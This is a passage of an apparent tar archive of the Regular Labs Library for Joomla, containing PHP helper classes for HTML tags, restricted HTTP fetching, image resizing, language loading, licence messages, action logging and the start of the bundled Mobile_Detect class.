$tag[3]), $string);
}
Protect::unprotect($string);
}
/**
* Remove inline elements around block elements
*
* @param string $string
*
* @return mixed
*/
public static function removeInlineElementsAroundBlockElements($string)
{
$string = RegEx::replace(
'(?:<(?:' . implode('|',
self::getInlineElementsNoAnchor()) . ')(?: [^>]*)?>\s*)'
. '(</?(?:' . implode('|',
self::getBlockElements()) . ')(?: [^>]*)?>)',
'\1',
$string
);
$string = RegEx::replace(
'(</?(?:' . implode('|',
self::getBlockElements()) . ')(?: [^>]*)?>)'
. '(?:\s*</(?:' . implode('|',
self::getInlineElementsNoAnchor()) . ')>)',
'\1',
$string
);
return $string;
}
/**
* Return an array of block element names, optionally without any of the
names given $exclude
*
* @param array $exclude
*
* @return array
*/
public static function getBlockElements($exclude = [])
{
if ( ! is_array($exclude))
{
$exclude = [$exclude];
}
$elements = [
'div', 'p', 'pre',
'h1', 'h2', 'h3', 'h4',
'h5', 'h6',
];
$elements = array_diff($elements, $exclude);
$elements = implode(',', $elements);
$elements = str_replace('h1,h2,h3,h4,h5,h6',
'h[1-6]', $elements);
$elements = explode(',', $elements);
return $elements;
}
/**
* Return an array of inline element names, optionally without any of the
names given $exclude
*
* @param array $exclude
*
* @return array
*/
public static function getInlineElements($exclude = [])
{
if ( ! is_array($exclude))
{
$exclude = [$exclude];
}
$elements = [
'span', 'code', 'a',
'strong', 'b', 'em', 'i',
'u', 'big', 'small', 'font',
'sup', 'sub',
];
return array_diff($elements, $exclude);
}
/**
* Return an array of block element names, without divs and any of the
names given $exclude
*
* @param array $exclude
*
* @return array
*/
public static function getBlockElementsNoDiv($exclude = [])
{
return array_diff(self::getBlockElements($exclude), ['div']);
}
/**
* Return an array of block element names, without anchors (a) and any of
the names given $exclude
*
* @param array $exclude
*
* @return array
*/
public static function getInlineElementsNoAnchor($exclude = [])
{
return array_diff(self::getInlineElements($exclude), ['a']);
}
/**
* Protect plugin style tags and php
*
* @param $string
*
* @return mixed
*/
private static function protectSpecialCode($string)
{
// Protect PHP code
Protect::protectByRegex($string,
'(<|<)\?php\s.*?\?(>|>)');
// Protect {...} tags
Protect::protectByRegex($string, '\{[a-z0-9].*?\}');
// Protect [...] tags
Protect::protectByRegex($string, '\[[a-z0-9].*?\]');
// Protect scripts
Protect::protectByRegex($string,
'<script[^>]*>.*?</script>');
// Protect css
Protect::protectByRegex($string,
'<style[^>]*>.*?</style>');
Protect::convertProtectionToHtmlSafe($string);
return $string;
}
/**
* Unprotect protected tags
*
* @param $string
*
* @return mixed
*/
private static function unprotectSpecialCode($string)
{
Protect::unprotectHtmlSafe($string);
return $string;
}
/**
* Prevents broken html tags at the end of $pre (other half at beginning
of $string)
* It will move the broken part to the beginning of $string to complete it
*
* @param $pre
* @param $string
*/
private static function fixBrokenTagsByPreString(&$pre, &$string)
{
if ( !
RegEx::match('<(\![^>]*|/?[a-z][^>]*(="[^"]*)?)$',
$pre, $match))
{
return;
}
$pre = substr($pre, 0, strlen($pre) - strlen($match[0]));
$string = $match[0] . $string;
}
/**
* Prevents broken html tags at the beginning of $pre (other half at end
of $string)
* It will move the broken part to the end of $string to complete it
*
* @param $post
* @param $string
*/
private static function fixBrokenTagsByPostString(&$post,
&$string)
{
if ( !
RegEx::match('<(\![^>]*|/?[a-z][^>]*(="[^"]*)?)$',
$string, $match))
{
return;
}
if ( ! RegEx::match('^[^>]*>', $post, $match))
{
return;
}
$post = substr($post, strlen($match[0]));
$string .= $match[0];
}
/**
* Removes html tags from string
*
* @param string $string
* @param bool $remove_comments
*
* @return string
*/
public static function removeHtmlTags($string, $remove_comments = false)
{
// remove pagenavcounter
$string = RegEx::replace('<div
class="pagenavcounter">.*?</div>', ' ',
$string);
// remove pagenavbar
$string = RegEx::replace('<div
class="pagenavbar">(<div>.*?</div>)*</div>',
' ', $string);
// remove inline scripts
$string =
RegEx::replace('<script[^a-z0-9].*?</script>',
'', $string);
$string =
RegEx::replace('<noscript[^a-z0-9].*?</noscript>',
'', $string);
// remove inline styles
$string = RegEx::replace('<style[^a-z0-9].*?</style>',
'', $string);
// remove inline html tags
$string = RegEx::replace(
'</?(' . implode('|', self::getInlineElements())
. ')( [^>]*)?>',
'',
$string
);
if ($remove_comments)
{
// remove html comments
$string = RegEx::replace('<!--.*?-->', ' ',
$string);
}
// replace other tags with a space
$string = RegEx::replace('</?[a-z].*?>', ' ',
$string);
// remove double whitespace
$string = trim(RegEx::replace('(\s)[ ]+', '\1',
$string));
return $string;
}
}
src/HtmlTag.php000064400000007504151165347530007424 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
/**
* Class HtmlTag
* @package RegularLabs\Library
*/
class HtmlTag
{
/**
* Combine 2 opening html tags into one
*
* @param string $tag1
* @param string $tag2
*
* @return string
*/
public static function combine($tag1, $tag2)
{
// Return if tags are the same
if ($tag1 == $tag2)
{
return $tag1;
}
if ( ! RegEx::match('<([a-z][a-z0-9]*)', $tag1, $tag_type))
{
return $tag2;
}
$tag_type = $tag_type[1];
if ( ! $attribs = self::combineAttributes($tag1, $tag2))
{
return '<' . $tag_type . '>';
}
return '<' . $tag_type . ' ' . $attribs .
'>';
}
/**
* Extract attribute value from a html tag string by given attribute key
*
* @param string $key
* @param string $string
*
* @return string
*/
public static function getAttributeValue($key, $string)
{
if (empty($key) || empty($string))
{
return '';
}
RegEx::match(RegEx::quote($key) . '="([^"]*)"',
$string, $match);
if (empty($match))
{
return '';
}
return $match[1];
}
/**
* Extract all attributes from a html tag string
*
* @param string $string
*
* @return array
*/
public static function getAttributes($string)
{
if (empty($string))
{
return [];
}
RegEx::matchAll('([a-z0-9-_]+)="([^"]*)"',
$string, $matches);
if (empty($matches))
{
return [];
}
$attribs = [];
foreach ($matches as $match)
{
$attribs[$match[1]] = $match[2];
}
return $attribs;
}
/**
* Combine attribute values from 2 given html tag strings (or arrays of
attributes)
* And return as a sting of attributes
*
* @param string /array $string1
* @param string /array $string2
*
* @return string
*/
public static function combineAttributes($string1, $string2, $flatten =
true)
{
$attribsutes1 = is_array($string1) ? $string1 :
self::getAttributes($string1);
$attribsutes2 = is_array($string2) ? $string2 :
self::getAttributes($string2);
$duplicate_attributes = array_intersect_key($attribsutes1,
$attribsutes2);
// Fill $attributes with the unique ids
$attributes = array_diff_key($attribsutes1, $attribsutes2) +
array_diff_key($attribsutes2, $attribsutes1);
// List of attrubute types that can only contain one value
$single_value_attributes = ['id', 'href'];
// Add/combine the duplicate ids
foreach ($duplicate_attributes as $key => $val)
{
if (in_array($key, $single_value_attributes))
{
$attributes[$key] = $attribsutes2[$key];
continue;
}
// Combine strings, but remove duplicates
// "aaa bbb" + "aaa ccc" = "aaa bbb ccc"
// use a ';' as a concatenated for javascript values (keys
beginning with 'on')
// Otherwise use a space (like for classes)
$glue = substr($key, 0, 2) == 'on' ? ';' : '
';
$attributes[$key] = implode($glue, array_merge(explode($glue,
$attribsutes1[$key]), explode($glue, $attribsutes2[$key])));
}
return $flatten ? self::flattenAttributes($attributes) : $attributes;
}
/**
* Convert array of attributes to a html style string
*
* @param array $attributes
*
* @return string
*/
public static function flattenAttributes($attributes, $prefix =
'')
{
$output = [];
foreach ($attributes as $key => $val)
{
if (is_null($val) || $val === '')
{
continue;
}
if ($val === false)
{
$val = 'false';
}
if ($val === true)
{
$val = 'true';
}
$val = str_replace('"', '"', $val);
$output[] = $prefix . $key . '="' . $val .
'"';
}
return implode(' ', $output);
}
}
src/Http.php000064400000007410151165347530006777 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Http\HttpFactory as JHttpFactory;
use Joomla\Registry\Registry;
use RuntimeException;
/**
* Class Http
* @package RegularLabs\Library
*/
class Http
{
/**
* Get the contents of the given internal url
*
* @param string $url
* @param int $timeout
*
* @return string
*/
public static function get($url, $timeout = 20)
{
if (Uri::isExternal($url))
{
return '';
}
return @file_get_contents($url)
|| self::getFromUrl($url, $timeout);
}
/**
* Get the contents of the given url
*
* @param string $url
* @param int $timeout
*
* @return string
*/
public static function getFromUrl($url, $timeout = 20)
{
$cache_id = 'getUrl_' . $url;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
if (JFactory::getApplication()->input->getInt('cache', 0)
&& $content = Cache::read($cache_id)
)
{
return $content;
}
$content = self::getContents($url, $timeout);
if (empty($content))
{
return '';
}
if ($ttl =
JFactory::getApplication()->input->getInt('cache', 0))
{
return Cache::write($cache_id, $content, $ttl > 1 ? $ttl : 0);
}
return Cache::set($cache_id, $content);
}
/**
* Get the contents of the given external url from the Regular Labs server
*
* @param string $url
* @param int $timeout
*
* @return string
*/
public static function getFromServer($url, $timeout = 20)
{
$cache_id = 'getByUrl_' . $url;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
// only allow url calls from administrator
if ( ! Document::isClient('administrator'))
{
die;
}
// only allow when logged in
$user = JFactory::getUser();
if ( ! $user->id)
{
die;
}
if (substr($url, 0, 4) != 'http')
{
$url = 'http://' . $url;
}
// only allow url calls to regularlabs.com domain
if ( ! (RegEx::match('^https?://([^/]+\.)?regularlabs\.com/',
$url)))
{
die;
}
// only allow url calls to certain files
if (
strpos($url, 'download.regularlabs.com/extensions.php') ===
false
&& strpos($url,
'download.regularlabs.com/extensions.json') === false
&& strpos($url,
'download.regularlabs.com/extensions.xml') === false
)
{
die;
}
$content = self::getContents($url, $timeout);
if (empty($content))
{
return '';
}
$format = (strpos($url, '.json') !== false || strpos($url,
'format=json') !== false)
? 'application/json'
: 'text/xml';
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0,
pre-check=0");
header("Cache-Control: public");
header("Content-type: " . $format);
if ($ttl =
JFactory::getApplication()->input->getInt('cache', 0))
{
return Cache::write($cache_id, $content, $ttl > 1 ? $ttl : 0);
}
return Cache::set($cache_id, $content);
}
/**
* Load the contents of the given url
*
* @param string $url
* @param int $timeout
*
* @return string
*/
private static function getContents($url, $timeout = 20)
{
try
{
// Adding a valid user agent string, otherwise some feed-servers
returning an error
$options = new Registry([
'userAgent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:41.0) Gecko/20100101 Firefox/41.0',
]);
$content = JHttpFactory::getHttp($options)->get($url, null,
$timeout)->body;
}
catch (RuntimeException $e)
{
return '';
}
return $content;
}
}
src/Image.php000064400000020503151165347530007100 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Filesystem\Folder as JFolder;
use Joomla\CMS\Uri\Uri as JUri;
use Joomla\Image\Image as JImage;
class Image
{
// public static function getSet($source, $width, $height, $folder =
'resized', $resize = true, $quality = 'medium',
$possible_suffix = '')
// {
// $paths = self::getPaths($source, $width, $height, $folder, $resize,
$quality, $possible_suffix);
//
// return (object) [
// 'original' => (object) [
// 'url' => $paths->image,
// 'width' => self::getWidth($paths->original),
// 'height' => self::getHeight($paths->original),
// ],
// 'resized' => (object) [
// 'url' => $paths->resized,
// 'width' => self::getWidth($paths->resized),
// 'height' => self::getHeight($paths->resized),
// ],
// ];
// }
public static function getUrls($source, $width, $height, $folder =
'resized', $resize = true, $quality = 'medium',
$possible_suffix = '')
{
if ($image = self::isResized($source, $folder, $possible_suffix))
{
$source = $image;
}
$original = $source;
$resized = self::getResize($source, $width, $height, $folder, $resize,
$quality);
return (object) compact('original', 'resized');
}
public static function getResize($source, $width, $height, $folder =
'resized', $resize = true, $quality = 'medium')
{
$destination_folder = File::getDirName($source) . '/' .
$folder;
$override = File::getDirName($source) . '/' . $folder .
'/' . File::getBaseName($source);
if (file_exists(JPATH_SITE . '/' . $override))
{
$source = $override;
}
if ( ! self::setNewDimensions($source, $width, $height))
{
return $source;
}
if ( ! $width && ! $height)
{
return $source;
}
$destination = self::getNewPath(
$source,
$width,
$height,
$destination_folder
);
if ( ! file_exists(JPATH_SITE . '/' . $destination) &&
$resize)
{
// Create new resized image
$destination = self::resize(
$source,
$width,
$height,
$destination_folder,
$quality
);
}
if ( ! file_exists(JPATH_SITE . '/' . $destination))
{
return $source;
}
return $destination;
}
public static function isResized($file, $folder = 'resized',
$possible_suffix = '')
{
if (File::isExternal($file))
{
return false;
}
if ( ! file_exists($file))
{
return false;
}
if ($main_image = self::isResizedWithFolder($file, $folder))
{
return $main_image;
}
if ($possible_suffix && $main_image =
self::isResizedWithSuffix($file, $possible_suffix))
{
return $main_image;
}
return false;
}
public static function isResizedWithSuffix($file, $suffix =
'_t')
{
// Remove the suffix from the file
// image_t.jpg => image.jpg
$main_file = RegEx::replace(
RegEx::quote($suffix) . '(\.[^.]+)$',
'\1',
$file
);
// Nothing removed, so not a resized image
if ($main_file == $file)
{
return false;
}
if ( ! file_exists(JPATH_SITE . '/' . utf8_decode($main_file)))
{
return false;
}
return $main_file;
}
private static function isResizedWithFolder($file, $resize_folder =
'resized')
{
$folder = File::getDirName($file);
$file = File::getBaseName($file);
$parent_folder_name = File::getBaseName($folder);
$parent_folder = File::getDirName($folder);
// Image is not inside the resize folder
if ($parent_folder_name != $resize_folder)
{
return false;
}
// Check if image with same name exists in parent folder
if (file_exists(JPATH_SITE . '/' . $parent_folder .
'/' . utf8_decode($file)))
{
return $parent_folder . '/' . $file;
}
// Remove any dimensions from the file
// image_300x200.jpg => image.jpg
$file = RegEx::replace(
'_[0-9]+x[0-9]*(\.[^.]+)$',
'\1',
$file
);
// Check again if image with same name (but without dimensions) exists in
parent folder
if (file_exists(JPATH_SITE . '/' . $parent_folder .
'/' . utf8_decode($file)))
{
return $parent_folder . '/' . $file;
}
return false;
}
public static function resize($source, &$width, &$height,
$destination_folder = '', $quality = 'medium',
$overwrite = false)
{
if (File::isExternal($source))
{
return $source;
}
$clean_source = self::cleanPath($source);
$source_path = JPATH_SITE . '/' . $clean_source;
$destination_folder = ltrim($destination_folder ?:
File::getDirName($clean_source));
$destination_folder = self::cleanPath($destination_folder);
if ( ! file_exists($source_path))
{
return false;
}
if ( ! self::setNewDimensions($source, $width, $height))
{
return $source;
}
if ( ! $width && ! $height)
{
return $source;
}
if ( ! getimagesize($source_path))
{
return $source;
}
try
{
$image = new JImage($source_path);
}
catch (\InvalidArgumentException $e)
{
return $source;
}
$destination = self::getNewPath($source, $width, $height,
$destination_folder);
$destination_path = JPATH_SITE . '/' . $destination;
if (file_exists($destination_path) && ! $overwrite)
{
return $destination;
}
JFolder::create(JPATH_SITE . '/' . $destination_folder);
$info = JImage::getImageFileProperties($source_path);
$options = ['quality' => self::getQuality($info->type,
$quality)];
$image->cropResize($width, $height, false)
->toFile($destination_path, $info->type, $options);
$image->destroy();
return $destination;
}
public static function setNewDimensions($source, &$width,
&$height)
{
if ( ! $width && ! $height)
{
return false;
}
if (File::isExternal($source))
{
return false;
}
$clean_source = self::cleanPath($source);
$source_path = JPATH_SITE . '/' . $clean_source;
if ( ! file_exists($source_path))
{
return false;
}
if ( ! getimagesize($source_path))
{
return false;
}
try
{
$image = new JImage($source_path);
}
catch (\InvalidArgumentException $e)
{
return false;
}
$original_width = $image->getWidth();
$original_height = $image->getHeight();
$width = $width ?: round($original_width / $original_height * $height);
$height = $height ?: round($original_height / $original_width * $width);
$image->destroy();
if ($width == $original_width && $height == $original_height)
{
return false;
}
return true;
}
public static function getNewPath($source, $width, $height,
$destination_folder = '')
{
$clean_source = self::cleanPath($source);
$source_parts = pathinfo($clean_source);
$destination_folder = ltrim($destination_folder ?:
File::getDirName($clean_source));
$destination_file = File::getFileName($clean_source) . '_' .
$width . 'x' . $height . '.' .
$source_parts['extension'];
JFolder::create(JPATH_SITE . '/' . $destination_folder);
return ltrim($destination_folder . '/' . $destination_file);
}
public static function cleanPath($source)
{
$source = ltrim(str_replace(JUri::root(), '', $source),
'/');
$source = strtok($source, '?');
return $source;
}
public static function getWidth($source)
{
$dimensions = self::getDimensions($source);
return $dimensions->width;
}
public static function getHeight($source)
{
$dimensions = self::getDimensions($source);
return $dimensions->height;
}
public static function getDimensions($source)
{
$empty = (object) [
'width' => 0,
'height' => 0,
];
if (File::isExternal($source))
{
return $empty;
}
if ( ! getimagesize($source))
{
return $empty;
}
try
{
$image = new JImage(JPATH_SITE . '/' . $source);
}
catch (\InvalidArgumentException $e)
{
return $empty;
}
return (object) [
'width' => $image->getWidth(),
'height' => $image->getHeight(),
];
}
public static function getQuality($type, $quality = 'medium')
{
switch ($type)
{
case IMAGETYPE_JPEG:
return min(max(self::getJpgQuality($quality), 0), 100);
case IMAGETYPE_PNG:
return 9;
default:
return '';
}
}
public static function getJpgQuality($quality = 'medium')
{
switch ($quality)
{
case 'low':
return 50;
case 'high':
return 90;
case 'medium':
default:
return 70;
}
}
}
src/Language.php000064400000002022151165347530007575 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class Language
* @package RegularLabs\Library
*/
class Language
{
/**
* Load the language of the given extension
*
* @param string $extension
* @param string $basePath
* @param bool $reload
*
* @return bool
*/
public static function load($extension =
'plg_system_regularlabs', $basePath = '', $reload =
false)
{
if ($basePath && JFactory::getLanguage()->load($extension,
$basePath, null, $reload))
{
return true;
}
$basePath = Extension::getPath($extension, $basePath,
'language');
return JFactory::getLanguage()->load($extension, $basePath, null,
$reload);
}
}
src/License.php000064400000003337151165347530007446 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Layout\LayoutHelper;
/**
* Class Language
* @package RegularLabs\Library
*/
class License
{
/**
* Render the license message for Free versions
*
* @param string $name
* @param bool $check_pro
*
* @return string
*/
public static function getMessage($name, $check_pro = false)
{
if ( ! $name)
{
return '';
}
$alias = Extension::getAliasByName($name);
$name = Extension::getNameByAlias($name);
if ($check_pro && self::isPro($alias))
{
return '';
}
$displayData = [
'msgList' => [
'' => [
JText::sprintf('RL_IS_FREE_VERSION', $name),
JText::_('RL_FOR_MORE_GO_PRO'),
'<a
href="https://www.regularlabs.com/purchase/cart/add/' . $alias .
'" target="_blank" class="btn btn-small
btn-primary">'
. '<span class="icon-basket"></span> '
. StringHelper::html_entity_decoder(JText::_('RL_GO_PRO'))
. '</a>',
],
],
];
return LayoutHelper::render('joomla.system.message',
$displayData);
}
/**
* Check if the installed version of the extension is a Pro version
*
* @param string $element_name
*
* @return bool
*/
private static function isPro($element_name)
{
if ( ! $version = Extension::getXMLValue('version',
$element_name))
{
return false;
}
return (stripos($version, 'PRO') !== false);
}
}
src/Log.php000064400000006175151165347530006610 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use ActionlogsModelActionlog;
use JLoader;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\MVC\Model\BaseDatabaseModel as JModel;
/**
* Class Log
* @package RegularLabs\Library
*/
class Log
{
public static function add($message, $languageKey, $context)
{
$user = JFactory::getUser();
$message['userid'] = $user->id;
$message['username'] = $user->username;
$message['accountlink'] =
'index.php?option=com_users&task=user.edit&id=' .
$user->id;
JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR .
'/components/com_actionlogs/helpers/actionlogs.php');
JLoader::register('ActionlogsModelActionlog',
JPATH_ADMINISTRATOR .
'/components/com_actionlogs/models/actionlog.php');
/* @var ActionlogsModelActionlog $model */
$model = JModel::getInstance('Actionlog',
'ActionlogsModel');
$model->addLog([$message], $languageKey, $context, $user->id);
}
public static function save($message, $context, $isNew)
{
$languageKey = $isNew ?
'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED' :
'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
$message['action'] = $isNew ? 'add' :
'update';
self::add($message, $languageKey, $context);
}
public static function delete($message, $context)
{
$languageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';
$message['action'] = 'deleted';
self::add($message, $languageKey, $context);
}
public static function changeState($message, $context, $value)
{
switch ($value)
{
case 0:
$languageKey =
'PLG_SYSTEM_ACTIONLOGS_CONTENT_UNPUBLISHED';
$message['action'] = 'unpublish';
break;
case 1:
$languageKey =
'PLG_SYSTEM_ACTIONLOGS_CONTENT_PUBLISHED';
$message['action'] = 'publish';
break;
case 2:
$languageKey =
'PLG_SYSTEM_ACTIONLOGS_CONTENT_ARCHIVED';
$message['action'] = 'archive';
break;
case -2:
$languageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_TRASHED';
$message['action'] = 'trash';
break;
default:
return;
}
self::add($message, $languageKey, $context);
}
public static function install($message, $context, $type =
'component')
{
$languageKey = 'PLG_ACTIONLOG_JOOMLA_' . strtoupper($type) .
'_INSTALLED';
if ( !
JFactory::getApplication()->getLanguage()->hasKey($languageKey))
{
$languageKey = 'PLG_ACTIONLOG_JOOMLA_EXTENSION_INSTALLED';
}
$message['action'] = 'install';
$message['type'] = 'PLG_ACTIONLOG_JOOMLA_TYPE_' .
strtoupper($type);
self::add($message, $languageKey, $context);
}
public static function uninstall($message, $context, $type =
'component')
{
$languageKey = 'PLG_ACTIONLOG_JOOMLA_EXTENSION_UNINSTALLED';
$message['action'] = 'uninstall';
$message['type'] = 'PLG_ACTIONLOG_JOOMLA_TYPE_' .
strtoupper($type);
self::add($message, $languageKey, $context);
}
}
src/MobileDetect.php000064400000224303151165347530010422 0ustar00<?php
/**
* Mobile Detect Library
* Motto: "Every business should have a mobile detection script to
detect mobile readers"
*
* Mobile_Detect is a lightweight PHP class for detecting mobile devices
(including tablets).
* It uses the User-Agent string combined with specific HTTP headers to
detect the mobile environment.
*
* Homepage: http://mobiledetect.net
* GitHub: https://github.com/serbanghita/Mobile-Detect
* README:
https://github.com/serbanghita/Mobile-Detect/blob/master/README.md
* CONTRIBUTING:
https://github.com/serbanghita/Mobile-Detect/blob/master/docs/CONTRIBUTING.md
* KNOWN LIMITATIONS:
https://github.com/serbanghita/Mobile-Detect/blob/master/docs/KNOWN_LIMITATIONS.md
* EXAMPLES:
https://github.com/serbanghita/Mobile-Detect/wiki/Code-examples
*
* @license
https://github.com/serbanghita/Mobile-Detect/blob/master/LICENSE.txt MIT
License
* @author Serban Ghita <serbanghita@gmail.com>
* @author Nick Ilyin <nick.ilyin@gmail.com>
* Original author: Victor Stanciu <vic.stanciu@gmail.com>
*
* @version 2.8.34
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use BadMethodCallException;
class MobileDetect
{
/**
* Mobile detection type.
*
* @deprecated since version 2.6.9
*/
const DETECTION_TYPE_MOBILE = 'mobile';
/**
* Extended detection type.
*
* @deprecated since version 2.6.9
*/
const DETECTION_TYPE_EXTENDED = 'extended';
/**
* A frequently used regular expression to extract version #s.
*
* @deprecated since version 2.6.9
*/
const VER = '([\w._\+]+)';
/**
* Top-level device.
*/
const MOBILE_GRADE_A = 'A';
/**
* Mid-level device.
*/
const MOBILE_GRADE_B = 'B';
/**
* Low-level device.
*/
const MOBILE_GRADE_C = 'C';
/**
* Stores the version number of the current release.
*/
const VERSION = '2.8.34';
/**
* A type for the version() method indicating a string return value.
*/
const VERSION_TYPE_STRING = 'text';
/**
* A type for the version() method indicating a float return value.
*/
const VERSION_TYPE_FLOAT = 'float';
/**
* A cache for resolved matches
* @var array
*/
protected $cache = [];
/**
* The User-Agent HTTP header is stored in here.
* @var string
*/
protected $userAgent = null;
/**
* HTTP headers in the PHP-flavor. So HTTP_USER_AGENT and SERVER_SOFTWARE.
* @var array
*/
protected $httpHeaders = [];
/**
* CloudFront headers. E.g. CloudFront-Is-Desktop-Viewer,
CloudFront-Is-Mobile-Viewer & CloudFront-Is-Tablet-Viewer.
* @var array
*/
protected $cloudfrontHeaders = [];
/**
* The matching Regex.
* This is good for debug.
* @var string
*/
protected $matchingRegex = null;
/**
* The matches extracted from the regex expression.
* This is good for debug.
*
* @var string
*/
protected $matchesArray = null;
/**
* The detection type, using self::DETECTION_TYPE_MOBILE or
self::DETECTION_TYPE_EXTENDED.
*
* @deprecated since version 2.6.9
*
* @var string
*/
protected $detectionType = self::DETECTION_TYPE_MOBILE;
/**
* HTTP headers that trigger the 'isMobile' detection
* to be true.
*
* @var array
*/
protected static $mobileHeaders = [
'HTTP_ACCEPT' => [
'matches' => [
// Opera Mini; @reference:
http://dev.opera.com/articles/view/opera-binary-markup-language/
'application/x-obml2d',
// BlackBerry devices.
'application/vnd.rim.html',
'text/vnd.wap.wml',
'application/vnd.wap.xhtml+xml',
],
],
'HTTP_X_WAP_PROFILE' => null,
'HTTP_X_WAP_CLIENTID' => null,
'HTTP_WAP_CONNECTION' => null,
'HTTP_PROFILE' => null,
// Reported by Opera on Nokia devices (eg. C3).
'HTTP_X_OPERAMINI_PHONE_UA' => null,
'HTTP_X_NOKIA_GATEWAY_ID' => null,
'HTTP_X_ORANGE_ID' => null,
'HTTP_X_VODAFONE_3GPDPCONTEXT' => null,
'HTTP_X_HUAWEI_USERID' => null,
// Reported by Windows Smartphones.
'HTTP_UA_OS' => null,
// Reported by Verizon, Vodafone proxy system.
'HTTP_X_MOBILE_GATEWAY' => null,
// Seen this on HTC Sensation. SensationXE_Beats_Z715e.
'HTTP_X_ATT_DEVICEID' => null,
// Seen this on a HTC.
'HTTP_UA_CPU' => ['matches' =>
['ARM']],
];
/**
* List of mobile devices (phones).
*
* @var array
*/
protected static $phoneDevices = [
'iPhone' => '\biPhone\b|\biPod\b', //
|\biTunes
'BlackBerry' =>
'BlackBerry|\bBB10\b|rim[0-9]+|\b(BBA100|BBB100|BBD100|BBE100|BBF100|STH100)\b-[0-9]+',
'HTC' =>
'HTC|HTC.*(Sensation|Evo|Vision|Explorer|6800|8100|8900|A7272|S510e|C110e|Legend|Desire|T8282)|APX515CKT|Qtek9090|APA9292KT|HD_mini|Sensation.*Z710e|PG86100|Z715e|Desire.*(A8181|HD)|ADR6200|ADR6400L|ADR6425|001HT|Inspire
4G|Android.*\bEVO\b|T-Mobile G1|Z520m|Android [0-9.]+; Pixel',
'Nexus' => 'Nexus One|Nexus
S|Galaxy.*Nexus|Android.*Nexus.*Mobile|Nexus 4|Nexus 5|Nexus 6',
// @todo: Is 'Dell Streak' a tablet or a phone? ;)
'Dell' => 'Dell[;]? (Streak|Aero|Venue|Venue
Pro|Flash|Smoke|Mini 3iX)|XCD28|XCD35|\b001DL\b|\b101DL\b|\bGS01\b',
'Motorola' => 'Motorola|DROIDX|DROID
BIONIC|\bDroid\b.*Build|Android.*Xoom|HRI39|MOT-|A1260|A1680|A555|A853|A855|A953|A955|A956|Motorola.*ELECTRIFY|Motorola.*i1|i867|i940|MB200|MB300|MB501|MB502|MB508|MB511|MB520|MB525|MB526|MB611|MB612|MB632|MB810|MB855|MB860|MB861|MB865|MB870|ME501|ME502|ME511|ME525|ME600|ME632|ME722|ME811|ME860|ME863|ME865|MT620|MT710|MT716|MT720|MT810|MT870|MT917|Motorola.*TITANIUM|WX435|WX445|XT300|XT301|XT311|XT316|XT317|XT319|XT320|XT390|XT502|XT530|XT531|XT532|XT535|XT603|XT610|XT611|XT615|XT681|XT701|XT702|XT711|XT720|XT800|XT806|XT860|XT862|XT875|XT882|XT883|XT894|XT901|XT907|XT909|XT910|XT912|XT928|XT926|XT915|XT919|XT925|XT1021|\bMoto
E\b|XT1068|XT1092|XT1052',
'Samsung' =>
